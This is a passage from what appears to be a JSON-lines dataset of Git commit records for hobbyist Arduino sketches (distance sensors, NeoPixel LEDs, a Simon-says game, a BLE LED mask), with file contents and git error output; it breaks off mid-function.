* 613 * 100) \/ (1 * 50) or 392 lux.\n\nThe range readings are in units of mm. *\/\n\n#include <Wire.h>\n#include <VL6180X.h>\n\nVL6180X sensor;\n\nvoid setup()\n{\n Wire.begin();\n\n sensor.init();\n sensor.configureDefault();\n\n \/\/ Reduce range max convergence time and ALS integration\n \/\/ time to 30 ms and 50 ms, respectively, to allow 10 Hz\n \/\/ operation (as suggested by Table 6 (\"Interleaved mode\n \/\/ limits (10 Hz operation)\") in the datasheet).\n sensor.writeReg(VL6180X::SYSRANGE__MAX_CONVERGENCE_TIME, 30);\n sensor.writeReg16Bit(VL6180X::SYSALS__INTEGRATION_PERIOD, 50);\n\n sensor.setTimeout(500);\n\n \/\/ stop continuous mode if already active\n sensor.stopContinuous();\n \/\/ in case stopContinuous() triggered a single-shot\n \/\/ measurement, wait for it to complete\n delay(300);\n \/\/ start interleaved continuous mode with period of 100 ms\n sensor.startInterleavedContinuous(100);\n\n}\n\nvoid loop()\n{\n Serial.print(\"Ambient: \");\n Serial.print(sensor.readAmbientContinuous());\n if (sensor.timeoutOccurred()) { Serial.print(\" TIMEOUT\"); }\n\n Serial.print(\"\\tRange: \");\n Serial.print(sensor.readRangeContinuous());\n if (sensor.timeoutOccurred()) { Serial.print(\" TIMEOUT\"); }\n\n Serial.println();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/InterleavedContinuous.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b7da71921106dce33569eed255f6cd4c0c62e938","subject":"Update mappings","message":"Update mappings\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"631aaa4752e50d5d39f62720ec8abcec1106b48d","subject":"Added an example of using the AS5055 chip found on the arduino forums","message":"Added an example of using the AS5055 chip found on the arduino forums\n","repos":"10to7\/AS5055A_Nema17_Breakout","old_file":"sw\/Arduino_Example\/Arduino_Example.ino","new_file":"sw\/Arduino_Example\/Arduino_Example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/10to7\/AS5055A_Nema17_Breakout.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"21e927f91236c848a60f8b4f62bd019391f9fde1","subject":"vl53L0x test","message":"vl53L0x test\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/VL53L0X\/VL53L0X.ino","new_file":"testing\/arduino\/VL53L0X\/VL53L0X.ino","new_contents":"#include <Wire.h>\n#include <VL53L0X.h>\n\nVL53L0X Sensor1;\nVL53L0X Sensor2;\n\nconst uint8_t Sensor1_xshut = 4;\nconst uint8_t Sensor2_xshut = 5;\n\nconst uint8_t Sensor1_address = 22;\nconst uint8_t Sensor2_address = 25;\n\nvoid setup()\n{\n pinMode(Sensor1_xshut, OUTPUT);\n pinMode(Sensor2_xshut, OUTPUT);\n digitalWrite(Sensor1_xshut, LOW);\n digitalWrite(Sensor2_xshut, LOW);\n\n Wire.begin();\n Serial.begin (9600);\n\n pinMode(Sensor1_xshut, INPUT);\n Sensor1.init(true);\n Sensor1.setAddress(Sensor1_address);\n Sensor1.setTimeout(500);\n Sensor1.startContinuous();\n\n pinMode(Sensor2_xshut, INPUT);\n Sensor2.init(true);\n Sensor2.setAddress(Sensor2_address);\n Sensor2.setTimeout(500);\n Sensor2.startContinuous();\n}\n\nvoid loop()\n{\n Serial.println(Sensor1.readRangeContinuousMillimeters());\n Serial.println(Sensor2.readRangeContinuousMillimeters());\n \n \/\/if (Sensor1.timeoutOccurred()) { Serial.print(\" TIMEOUT\"); }\n\n Serial.println(\"---\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/VL53L0X\/VL53L0X.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5b080ee981515ee8e40f1571cb6da55264d933ce","subject":"Updated Files","message":"Updated Files","repos":"chandan-mahapatra\/hcin720,chandan-mahapatra\/hcin720","old_file":"IA-2\/ia2output.ino","new_file":"IA-2\/ia2output.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"neopixel\/neopixel.h\"\n\n\/*\n * This is a minimal example, see extra-examples.cpp for a version\n * with more explantory documentation, example routines, how to\n * hook up your pixels and all of the pixel types that are supported.\n *\n *\/\n\n\nSYSTEM_MODE(AUTOMATIC);\n\n\/\/ IMPORTANT: Set pixel COUNT, PIN and TYPE\n#define PIXEL_PIN D2\n#define PIXEL_COUNT 24\n#define PIXEL_TYPE WS2812B\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);\n\n\/\/ Prototypes for local build, ok to leave in for Build IDE\nvoid rainbow(uint8_t wait);\nuint32_t Wheel(byte WheelPos);\n\n\nint led2 = D7;\n\n\nvoid setup()\n{\n \n Serial.begin(9600);\n pinMode(led2, OUTPUT);\n Particle.function(\"led\",ledToggle);\n digitalWrite(led2, LOW);\n \n strip.begin();\n strip.setBrightness(2);\n strip.show(); \/\/ Initialize all pixels to 'off'\n uint16_t i;\n uint32_t noColor=strip.Color(0,0,0); \/\/noColor\n for(i=0; i<24; i++)\n {\n strip.setPixelColor(i, noColor);\n strip.show();\n }\n}\n\nvoid loop()\n{\n\n}\n\n\nint ledToggle(String command) {\n \n Serial.print(\"Got command: \");\n Serial.println(command);\n \n uint16_t i, j;\n uint32_t red=strip.Color(255,0,0); \/\/red\n uint32_t green=strip.Color(0, 255, 0); \/\/green\n uint32_t blue=strip.Color(0,0,255); \/\/blue\n uint32_t noColor=strip.Color(0,0,0); \/\/noColor\n \n if (command==\"red\") {\n digitalWrite(led2,HIGH);\/\/check photon connection\n for(i=0; i<24; i++) \/\/ 24 is the number of pixels; we use this instead of strip.numPixels\n {\n strip.setPixelColor(i, red);\n strip.show();\n }\n Serial.print(\"Game\");\n return 1;\n }\n else if (command==\"green\") {\n digitalWrite(led2,HIGH);\/\/check photon connection\n for(i=0; i<24; i++)\n {\n strip.setPixelColor(i, green);\n strip.show();\n }\n Serial.print(\"People\");\n return 1;\n }\n else if (command==\"blue\") {\n digitalWrite(led2,HIGH);\/\/check photon connection\n for(i=0; i<24; i++) \n {\n strip.setPixelColor(i, blue);\n strip.show();\n }\n Serial.print(\"No Data\");\n return 1;\n }\n else if (command==\"off\") {\n digitalWrite(led2,LOW);\n for(i=0; i<24; i++)\n {\n strip.setPixelColor(i, noColor);\n strip.show();\n }\n Serial.print(\"Switching off LED\");\n return 0;\n }\n else {\n return -1;\n }\n \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'IA-2\/ia2output.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e070de8f1f089300a80eda402a8475f41efd2e63","subject":"saymon_says","message":"saymon_says\n","repos":"toto-castaldi\/my-arduino-sketchbook-folder,toto-castaldi\/my-arduino-sketchbook-folder","old_file":"saymon_says\/saymon_says.ino","new_file":"saymon_says\/saymon_says.ino","new_contents":"\/\/saymon says http:\/\/it.wikipedia.org\/wiki\/Simon_(gioco)\n#include \"pitches.h\"\n\n#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n#define OLED_MOSI 9\n#define OLED_CLK 10\n#define OLED_DC 11\n#define OLED_CS 12\n#define OLED_RESET 13\nAdafruit_SSD1306 display(OLED_MOSI, OLED_CLK, OLED_DC, OLED_RESET, OLED_CS);\n\nconst int redLed = 7;\nconst int greenLed = 6;\nconst int yellowLed = 5;\nconst int blueLed = 4;\n\nconst int tonePin = 8;\n\nconst int redButton = 3;\nconst int greenButton = 2;\nconst int yellowButton = 1;\nconst int blueButton = 0;\nconst int maxLength = 100; \/\/max level\nconst int statePrepare = 0;\nconst int statePlay = 1;\nconst int stateEnd = 2;\n\nint lastRedButtonValue;\nint sequenceLength;\nint state; \nint sequence[maxLength];\nint currentPlayingSeqIndex;\n\nvoid setup() {\n Serial.begin(9600);\n \n display.begin(SSD1306_SWITCHCAPVCC);\n pinMode(redLed, OUTPUT);\n pinMode(greenLed, OUTPUT);\n pinMode(yellowLed, OUTPUT);\n pinMode(blueLed, OUTPUT);\n \n pinMode(redButton, INPUT);\n digitalWrite(redButton, LOW);\n pinMode(greenButton, INPUT);\n digitalWrite(greenButton, LOW);\n pinMode(yellowButton, INPUT);\n digitalWrite(yellowButton, LOW);\n pinMode(blueButton, INPUT);\n digitalWrite(blueButton, LOW);\n \n sequenceLength = 1;\n state = statePrepare;\n \n randomSeed(analogRead(A5));\n}\n\nvoid loop() {\n \n if (state == statePrepare) {\n \/\/set\n for (int i = 0; i < sequenceLength; i++) {\n int button = random(4);\n if (button == 0) sequence[i] = redButton;\n if (button == 1) sequence[i] = greenButton;\n if (button == 2) sequence[i] = yellowButton;\n if (button == 3) sequence[i] = blueButton;\n }\n \n \/\/play\n diplayWrite(\"memorizza\");\n for (int i = 0; i < sequenceLength; i++) {\n int button = sequence[i];\n delay(300);\n digitalWrite(button, HIGH);\n if (button == redButton) { tone(tonePin, NOTE_C4); digitalWrite(redLed, HIGH); } \n if (button == greenButton) { tone(tonePin, NOTE_D4); digitalWrite(greenLed, HIGH); } \n if (button == yellowButton) { tone(tonePin, NOTE_E4); digitalWrite(yellowLed, HIGH); } \n if (button == blueButton) { tone(tonePin, NOTE_F4); digitalWrite(blueLed, HIGH); } \n \n delay(1000);\n noTone(tonePin);\n allLedOff();\n \n }\n state = statePlay;\n diplayWrite(\"ripeti\");\n currentPlayingSeqIndex = 0;\n \n } \n \n\n if (pressed(redButton) && (state == statePlay)) {\n checkPressing(redLed, NOTE_C4, redButton); \n } else if (pressed(greenButton) && (state == statePlay)) {\n checkPressing(greenLed, NOTE_D4, greenButton);\n } else if (pressed(yellowButton) && (state == statePlay)) {\n checkPressing(yellowLed, NOTE_E4, yellowButton);\n } else if (pressed(blueButton) && (state == statePlay)) {\n checkPressing(blueLed, NOTE_F4, blueButton);\n }\n \n \n}\n\nvoid checkPressing(int led, unsigned int note, int button) {\n digitalWrite(led, HIGH);\n tone(tonePin, note);\n if (sequence[currentPlayingSeqIndex] == button) {\n diplayWrite(\"OK !\");\n currentPlayingSeqIndex ++; \n } else {\n diplayWrite(\"sbagliato\");\n state = stateEnd;\n }\n delay(1000);\n noTone(tonePin);\n allLedOff();\n \n}\n\nvoid allLedOff() {\n digitalWrite(redLed, LOW);\n digitalWrite(greenLed, LOW);\n digitalWrite(yellowLed, LOW);\n digitalWrite(blueLed, LOW);\n}\n\nboolean pressed(int button) {\n delay(10);\n return digitalRead(button) == HIGH;\n}\n\n\nvoid diplayWrite(char* text) {\n display.clearDisplay();\n display.setTextSize(4);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n display.print(text);\n display.display();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'saymon_says\/saymon_says.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"740240fd7b711f8f815eb62da8a732b7cb9f1fa7","subject":"Create Wrench-Mask-BLE_Unicorn-Hat-HD.ino","message":"Create Wrench-Mask-BLE_Unicorn-Hat-HD.ino\n\nModified the NRF52832 Version of the Mask to use the Pimoroni Unicorn Hat HD LED Matrices in place of the custom DotStar Matrices used previously. \r\n\r\nThis is the initial version. The code appears to work more as expected but the patterns and brightness settings have not been corrected to match the new matrices.","repos":"Arudinne\/RGB-Wrench-Mask","old_file":"NRF52832\/Unicorn_Hat_HD\/Wrench-Mask-BLE_Unicorn-Hat-HD.ino","new_file":"NRF52832\/Unicorn_Hat_HD\/Wrench-Mask-BLE_Unicorn-Hat-HD.ino","new_contents":"\/* Wrench Mask - BLE Version (NRF52832)\n * \n * Hardware Used:\n * Adafruit Feather NRF52\n * Pimoroni Unicorn Hat HD\n * \n * by Brandon C. Allen \n * \n * Based on the bleuart example from AdaFruit:\n * https:\/\/github.com\/adafruit\/Adafruit_nRF52_Arduino\/blob\/master\/libraries\/Bluefruit52Lib\/examples\/Peripheral\/bleuart\/bleuart.ino\n * \n*\/\n\n\/* Facial Expressions List\n * X X - Face001\n * > < - Face002\n * ^ ^ - Face003\n * @ @ - Face004\n * \/ \\ - Face005\n * ? ? - Face006\n * O o - Face007\n * \\ \/ - Face008\n * Z Z - Face009\n * # # - Face010\n * = = - Face011\n * ~ ^ - Face012\n * 9 9 - Face013\n * ! ! - Face014\n * * * - Face015\n * ` ` - Face016\n * ; ; - Face017\n * .) .) - Face018\n * (. (. - Face019\n * o O - Face020\n * . . - Face021\n * \u2310 \u2310 - Face022\n * <3 <3 - Face023\n*\/\n#include <bluefruit.h>\n#include <SPI.h>\n#include <Unicorn_Hat_HD.h>\n\nconst int slaveSelectPinA = 7;\nconst int slaveSelectPinB = 27;\n\n\/\/ BLE Service\nBLEDis bledis;\nBLEUart bleuart;\nBLEBas blebas;\n\n\/\/ Build the strip\nUnicorn_Hat_HD lefteye = Unicorn_Hat_HD(slaveSelectPinA);\nUnicorn_Hat_HD righteye = Unicorn_Hat_HD(slaveSelectPinB);\n\n\/\/ Define initial facial expression\nchar FaceMode = 1; \n\n\/\/ Define color parameters\nuint32_t colorRed = 0xFF0000;\nuint32_t colorGreen = 0x00FF00;\nuint32_t colorBlue = 0x0000FF;\nuint32_t colorWhite = 0xFFFFFF;\n\n\/\/ Define initial color\nuint32_t color = colorWhite;\n\n\/\/ Define Variables for blinking the LEDs\nunsigned long currentMillis = 0;\nunsigned long previousMillis = 0;\nint ledState = 0; \/\/\nlong OnTime = 6000; \/\/ milliseconds of on-time\nlong OffTime = 50; \/\/ milliseconds of off-time\nbyte EyeBrightness = 004;\n\n\/\/ Initial boolean variables for face status checks when switching faces\n\/\/ Face001\nbool Face001RunningCheck = false;\nbool Face001BlinkCheck = false;\n\/\/ Face002 \nbool Face002RunningCheck = false;\nbool Face002BlinkCheck = false;\n\/\/ Face003\nbool Face003RunningCheck = false;\nbool Face003BlinkCheck = false; \n\/\/ Face004\nbool Face004RunningCheck = false;\nbool Face004BlinkCheck = false;\n\/\/ Face005\nbool Face005RunningCheck = false;\nbool Face005BlinkCheck = false;\n\/\/ Face006 \nbool Face006RunningCheck = false;\nbool Face006BlinkCheck = false;\n\/\/ Face007\nbool Face007RunningCheck = false;\nbool Face007BlinkCheck = false; \n\/\/ Face008\nbool Face008RunningCheck = false;\nbool Face008BlinkCheck = false;\n\/\/ Face009\nbool Face009RunningCheck = false;\nbool Face009BlinkCheck = false; \n\/\/ Face010\nbool Face010RunningCheck = false;\nbool Face010BlinkCheck = false;\n\/\/ Face011\nbool Face011RunningCheck = false;\nbool Face011BlinkCheck = false;\n\/\/ Face012\nbool Face012RunningCheck = false;\nbool Face012BlinkCheck = false;\n\/\/ Face013\nbool Face013RunningCheck = false;\nbool Face013BlinkCheck = false;\n\/\/ Face014\nbool Face014RunningCheck = false;\nbool Face014BlinkCheck = false;\n\/\/ Face015\nbool Face015RunningCheck = false;\nbool Face015BlinkCheck = false;\n\/\/ Face016\nbool Face016RunningCheck = false;\nbool Face016BlinkCheck = false;\n\/\/ Face017\nbool Face017RunningCheck = false;\nbool Face017BlinkCheck = false;\n\/\/ Face018\nbool Face018RunningCheck = false;\nbool Face018BlinkCheck = false;\n\/\/ Face019\nbool Face019RunningCheck = false;\nbool Face019BlinkCheck = false;\n\/\/ Face020\nbool Face020RunningCheck = false;\nbool Face020BlinkCheck = false;\n\/\/ Face021\nbool Face021RunningCheck = false;\nbool Face021BlinkCheck = false;\n\/\/ Face022\nbool Face022RunningCheck = false;\nbool Face022BlinkCheck = false;\n\/\/ Face023\nbool Face023RunningCheck = false;\nbool Face023BlinkCheck = false;\n\nvoid setup()\n{\n lefteye.begin();\n righteye.begin();\n lefteye.setBrightness(EyeBrightness);\n righteye.setBrightness(EyeBrightness);\n lefteye.show(); \n righteye.show();\n \n Serial.begin(115200); \/\/ Enable Serial for debugging purposes\n Serial.println(\"=======================================\");\n Serial.println(\"|| Opening Serial port for Debugging ||\");\n Serial.println(\"|| Begin Wrnech Mask Program ||\");\n Serial.println(\"=======================================\");\n\n \/\/Configure BLE\n Bluefruit.begin();\n \/\/ Set max power. Accepted values are: -40, -30, -20, -16, -12, -8, -4, 0, 4\n Bluefruit.setTxPower(4);\n Bluefruit.setName(\"Wrench Mask\");\n Bluefruit.setConnectCallback(connect_callback);\n Bluefruit.setDisconnectCallback(disconnect_callback);\n\n \/\/ Configure and Start Device Information Service\n bledis.setManufacturer(\"Adafruit Industries\");\n bledis.setModel(\"Bluefruit Feather52\");\n bledis.begin();\n\n \/\/ Configure and Start BLE Uart Service\n bleuart.begin();\n\n \/\/ Start BLE Battery Service\n blebas.begin();\n blebas.write(100);\n\n \/\/ Set up and start advertising\n startAdv();\n}\n\nvoid startAdv(void)\n{\n \/\/ Advertising packet\n Bluefruit.Advertising.addFlags(BLE_GAP_ADV_FLAGS_LE_ONLY_GENERAL_DISC_MODE);\n Bluefruit.Advertising.addTxPower();\n\n \/\/ Include bleuart 128-bit uuid\n Bluefruit.Advertising.addService(bleuart);\n\n \/\/ Secondary Scan Response packet (optional)\n \/\/ Since there is no room for 'Name' in Advertising packet\n Bluefruit.ScanResponse.addName();\n \n \/* Start Advertising\n * - Enable auto advertising if disconnected\n * - Interval: fast mode = 20 ms, slow mode = 152.5 ms\n * - Timeout for fast mode is 30 seconds\n * - Start(timeout) with timeout = 0 will advertise forever (until connected)\n * \n * For recommended advertising interval\n * https:\/\/developer.apple.com\/library\/content\/qa\/qa1931\/_index.html \n *\/\n Bluefruit.Advertising.restartOnDisconnect(true);\n Bluefruit.Advertising.setInterval(32, 244); \/\/ in unit of 0.625 ms\n Bluefruit.Advertising.setFastTimeout(30); \/\/ number of seconds in fast mode\n Bluefruit.Advertising.start(0); \/\/ 0 = Don't stop advertising after n seconds \n}\n\nvoid loop()\n{\n \/\/ Respond to command and forward from BLEUART to HW Serial for Debugging\n while ( bleuart.available() )\n {\n uint8_t ch;\n ch = (uint8_t) bleuart.read();\n Serial.print(\"Received Command: \");\n Serial.write(ch);\n Serial.println(\"\");\n if(ch == 0x57){\n color=colorRed; \n }\n else if(ch == 0x58){\n color=colorGreen; \n } \n else if(ch == 0x59){\n color=colorBlue;\n } \n else if(ch == 0x5A){\n color=colorWhite;\n } \n else if(ch == 0x31){\n FaceMode=1;\n }\n else if(ch == 0x32){\n FaceMode=2;\n }\n else if(ch == 0x33){\n FaceMode=3;\n }\n else if(ch == 0x34){\n FaceMode=4;\n }\n else if(ch == 0x35){\n FaceMode=5;\n }\n else if(ch == 0x36){\n FaceMode=6;\n }\n else if(ch == 0x37){\n FaceMode=7;\n }\n else if(ch == 0x38){\n FaceMode=8;\n }\n else if(ch == 0x39){\n FaceMode=9;\n }\n else if(ch == 0x30){\n FaceMode=0;\n }\n else if(ch == 0x41){\n FaceMode='A';\n }\n else if(ch == 0x42){\n FaceMode='B';\n }\n else if(ch == 0x43){\n FaceMode='C';\n }\n else if(ch == 0x44){\n FaceMode='D';\n }\n else if(ch == 0x45){\n FaceMode='E';\n }\n else if(ch == 0x46){\n FaceMode='F';\n }\n else if(ch == 0x47){\n FaceMode='G';\n }\n else if(ch == 0x48){\n FaceMode='H';\n }\n else if(ch == 0x49){\n FaceMode='I';\n }\n else if(ch == 0x4A){\n FaceMode='J';\n }\n else if(ch == 0x4B){\n FaceMode='K';\n }\n else if(ch == 0x4C){\n FaceMode='L';\n }\n else if(ch == 0x4D){\n FaceMode='M';\n }\n else if(ch == 0x4E){\n FaceMode='N';\n Serial.println(\"Umbrella LEDs ON\");\n }\n else if(ch == 0x2B){\n IncrementBrightness();\n }\n else if(ch == 0x2D){\n DecrementBrightness();\n }\n }\n\n switch (FaceMode) \n {\n case 1: Face001(); break; \/\/ Draw Face001\n case 2: Face002(); break; \/\/ Draw Face002\n case 3: Face003(); break; \/\/ Draw Face003\n case 4: Face004(); break; \/\/ Draw Face004\n case 5: Face005(); break; \/\/ Draw Face005\n case 6: Face006(); break; \/\/ Draw Face006\n case 7: Face007(); break; \/\/ Draw Face007\n case 8: Face008(); break; \/\/ Draw Face008\n case 9: Face009(); break; \/\/ Draw Face009\n case 0: Face010(); break; \/\/ Draw Face010\n case 'A': Face011(); break; \/\/ Draw Face011\n case 'B': Face012(); break; \/\/ Draw Face012\n case 'C': Face013(); break; \/\/ Draw Face013\n case 'D': Face014(); break; \/\/ Draw Face014\n case 'E': Face015(); break; \/\/ Draw Face015\n case 'F': Face016(); break; \/\/ Draw Face016\n case 'G': Face017(); break; \/\/ Draw Face017\n case 'H': Face018(); break; \/\/ Draw Face018\n case 'I': Face019(); break; \/\/ Draw Face019\n case 'J': Face020(); break; \/\/ Draw Face020\n case 'K': Face021(); break; \/\/ Draw Face021\n case 'L': Face022(); break; \/\/ Draw Face022\n case 'M': Face023(); break; \/\/ Draw Face023\n case 'N': Umbrella(); break; \/\/ Draw Umbrella Corp logo\n }\n}\n\nvoid connect_callback(uint16_t conn_handle)\n{\n char central_name[32] = { 0 };\n Bluefruit.Gap.getPeerName(conn_handle, central_name, sizeof(central_name));\n\n Serial.print(\"Connected to \");\n Serial.println(central_name);\n}\n\nvoid disconnect_callback(uint16_t conn_handle, uint8_t reason)\n{\n (void) conn_handle;\n (void) reason;\n\n Serial.println();\n Serial.println(\"Disconnected\");\n}\n\n\/**\n * RTOS Idle callback is automatically invoked by FreeRTOS\n * when there are no active threads. E.g when loop() calls delay() and\n * there is no bluetooth or hw event. This is the ideal place to handle\n * background data.\n * \n * NOTE: It is recommended to call waitForEvent() to put MCU into low-power mode\n * at the end of this callback. You could also turn off other Peripherals such as\n * Serial\/PWM and turn them back on if wanted\n * \n * e.g\n * \n * void rtos_idle_callback(void)\n * {\n * Serial.stop(); \/\/ will lose data when sleeping\n * waitForEvent();\n * Serial.begin(115200); \n * }\n * \n * NOTE2: If rtos_idle_callback() is not defined at all. Bluefruit will force\n * waitForEvent() to save power. If you don't want MCU to sleep at all, define\n * an rtos_idle_callback() with empty body !\n * \n * WARNING: This function MUST NOT call any blocking FreeRTOS API \n * such as delay(), xSemaphoreTake() etc ... for more information\n * http:\/\/www.freertos.org\/a00016.html\n *\/\nvoid rtos_idle_callback(void)\n{\n \/\/ Don't call any other FreeRTOS blocking API()\n \/\/ Perform background task(s) here\n\n \/\/ Request CPU to enter low-power mode until an event\/interrupt occurs\n waitForEvent();\n}\n\nvoid Face001()\n{\n if (Face001RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace001();\n FaceRunningCheckClearFunction();\n Face001RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face001BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face001 LEDs ON\"); \/\/ Debug output\n DrawFace001();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face001BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face001 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"001\");\n }\n else\n {\n Face001BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n }\n } \n}\n\/\/ Draw Face002\nvoid Face002()\n{\n if (Face002RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace002();\n FaceRunningCheckClearFunction();\n Face002RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face002BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face002 LEDs ON\"); \/\/ Debug output\n DrawFace002();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face002BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face002 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"002\");\n }\n else\n {\n Face002BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face003\nvoid Face003()\n{\n if (Face003RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace003();\n FaceRunningCheckClearFunction();\n Face003RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face003BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face004 LEDs ON\"); \/\/ Debug output\n DrawFace003();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face003BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face003 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"003\");\n }\n else\n {\n Face003BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n} \n\/\/ Draw Face004\nvoid Face004()\n{\n if (Face004RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace004();\n FaceRunningCheckClearFunction();\n Face004RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face004BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face004 LEDs ON\"); \/\/ Debug output\n DrawFace004(); \n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face004BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face004 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"004\");\n }\n else\n {\n Face004BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face005\nvoid Face005()\n{\n if (Face005RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace005();\n FaceRunningCheckClearFunction();\n Face005RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face005BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face005 LEDs ON\"); \/\/ Debug output\n DrawFace005();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face005BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face005 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"005\");\n }\n else\n {\n Face005BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face006\nvoid 